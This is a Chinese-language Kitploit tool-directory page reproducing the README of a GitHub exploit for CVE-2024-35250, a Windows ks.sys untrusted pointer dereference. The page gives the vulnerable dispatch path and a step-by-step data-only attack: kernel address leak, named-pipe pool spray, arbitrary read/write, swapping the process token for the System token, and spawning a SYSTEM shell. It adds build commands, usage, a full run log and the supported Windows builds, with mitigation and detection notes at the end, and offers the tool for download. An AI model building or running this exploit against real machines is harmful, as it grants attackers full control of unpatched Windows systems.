Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
HVCIPwned — CVE-2024-35250 表明 HVCI 无法防御纯数据型内核漏洞利用。只要驱动程序缺陷提供了任意读/写原语,token 替换就仍然是一种通用的 SYSTEM 提权技术——无需执行代码。 | Kitploit
工具/GitHubGitHub/xvalegendary/hvcipwned
权限提升漏洞分析漏洞利用渗透测试学习与教育二进制利用
GitHubxvalegendary/hvcipwned

HVCIPwned

CVE-2024-35250 表明 HVCI 无法防御纯数据型内核漏洞利用。只要驱动程序缺陷提供了任意读/写原语,token 替换就仍然是一种通用的 SYSTEM 提权技术——无需执行代码。

查看仓库
84个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2024-35250

通过 Windows 内核流驱动程序(ks.sys)中的不可信指针解引用实现本地权限提升。纯数据利用 — 绕过虚拟机监控程序保护的代码完整性(HVCI)。

摘要

字段详情
CVECVE-2024-35250
组件ks.sys(内核流)
漏洞类型不可信指针解引用
影响权限提升至 NT AUTHORITY\SYSTEM
HVCI已绕过 — 内核中无代码执行
补丁KB5039212(2024年6月)
受影响系统Windows 10 20H1+ / Windows 11 21H2-23H2

漏洞

ks!KspPropertyHandler 通过 KspProcessPropertyNode 分发了拓扑级别的属性请求。来自用户提供的 KSP_NODE 结构中的 NodeId 字段被用作内部自动化表数组的索引,且没有进行边界验证:

root@kitploit:~
NtDeviceIoControlFile
  ks!CKSFilter::DispatchDeviceIoControl
    ks!KspPropertyHandler
      ks!KspProcessPropertyNode
        *(automationTable + NodeId * stride)   <-- attacker-controlled

精心构造的 NodeId 若超过实际节点数,会将解引用重定向到相邻的池内存,从而产生越界读/写原语。

HVCI 绕过

该利用程序仅操控内核数据结构:

  1. 通过 NtQuerySystemInformation 泄漏 EPROCESS 地址
  2. 触发漏洞以构建任意内核读/写
  3. 遍历 ActiveProcessLinks 以定位 PID 4(System)
  4. 用 System 令牌覆盖当前进程令牌
  5. 生成提权后的 shell

不会注入 shellcode。不会创建或执行未签名代码页。不会劫持控制流指针。

保护机制状态
HVCI / KMCI已绕过
SMEP未触发
SMAP未触发
kCFG未触发
CET / Shadow Stack未触发

构建

要求

  • Visual Studio 2019 / 2022
  • Windows SDK 10.0.19041.0+

编译

  1. 在 Visual Studio 中打开 hvcipwned.sln
  2. 选择 Release | x64
  3. 生成 → 生成解决方案(Ctrl+Shift+B)

输出二进制: x64\Release\hvcipwned.exe

手动 cl.exe 构建

root@kitploit:~
cl.exe /nologo /W4 /O2 /TC ^
    main.c device.c leak.c krw.c token.c exploit.c ^
    /I ^
    /Fe:exploit.exe ^
    /link setupapi.lib kernel32.lib advapi32.lib

用法

root@kitploit:~
hvcipwned.exe

在易受攻击(未打补丁)的系统上,从未提权的用户会话运行。成功后会打开一个新的 cmd.exe 窗口,以 NT AUTHORITY\SYSTEM 身份运行。

预期输出

root@kitploit:~
[+] cve-2024-35250 exploit
[+] ks.sys untrusted pointer dereference -> eop
[~] hvci bypass via data-only attack
[+] os: 10.0.19045
[+] offsets: pid=0x440 links=0x448 token=0x4b8
[+] device: \\?\hdaudio#func_01&ven_10ec...
[+] device handle: 0x00000000000000f4
[~] calibrating r/w primitive...
[+] kernel base: 0xfffff80140000000
[~] spraying named pipes for pool layout...
[+] sprayed 5000 pipe pairs
[~] poking hole at index 2500...
[~] scanning for kernel pointer via oob read...
[+] found kernel ptr at node 3 offset 2: 0xffffa70500000000
[+] pipe object kernel addr: 0xffffa70500000000
[+] r/w primitive initialized (mode 1)
[+] current eprocess: 0xffffa705d90f4080
[+] kernel read pid: 1234 (expected: 1234)
[+] system eprocess: 0xffffa70500004080
[+] system token: 0xffffa70512345673
[+] token after swap: 0xffffa70512345670
[+] token swap successful
[+] escalation complete
[+] elevated shell spawned (pid: 5678)

press enter to exit...

项目结构

root@kitploit:~
hvcipwned/
├── hvcipwned.sln
├── hvcipwned.vcxproj
├── hvcipwned.vcxproj.filters
├── README.md
├── LICENSE
├── .gitignore
├── common.h         - types, log macros, nt api typedefs
├── offsets.h        - per-build eprocess field offsets
├── device.h         - ks device enumeration
├── leak.h           - kernel address leaks
├── krw.h            - r/w primitive context
├── token.h          - token swap + shell spawn
└── exploit.h        - top-level entry
├── main.c           - entry point
├── device.c         - setupapi device open
├── leak.c           - NtQuerySystemInformation leaks
├── krw.c            - vulnerability trigger + pool spray + r/w
├── token.c          - eprocess walk + token overwrite
└── exploit.c        - orchestration

支持的构建版本

偏移量在运行时通过 RtlGetVersion 自动解析。

注意事项

  • 需要一个具有拓扑节点的 KS 筛选器设备(音频设备可用)
  • 池喷射成功取决于系统内存压力和时间
  • 该利用程序使用命名管道属性进行池风水
  • 以普通(非管理员)用户身份运行以演示权限提升
  • 由于池布局随机化,可能需要多次尝试

缓解措施

措施

参考

  • Microsoft 公告
  • KB5039212 补丁说明
  • DEVCORE — Pwn2Own Vancouver 2024
  • varwara/CVE-2024-35250

免责声明

本项目仅供授权安全研究和教育目的使用。未经明确书面许可,请勿针对任何系统使用。作者不对因使用本软件而造成的任何滥用或损害承担责任。

许可证

MIT

下载工具
操作系统构建版本状态
Windows 10 20H119041支持
Windows 10 20H219042支持
Windows 10 21H119043支持
Windows 10 21H219044支持
Windows 10 22H219045支持
Windows 11 21H222000支持
Windows 11 22H222621支持
Windows 11 23H222631支持
详情
补丁安装 KB5039212(2024年6月)或更高版本
检测使用 KSPROPERTY_TYPE_TOPOLOGY 标志监控 IOCTL_KS_PROPERTY
EDR通过 EtwTi 内核回调警报令牌完整性变更
加固通过 DACL 限制用户对 KS 设备接口的访问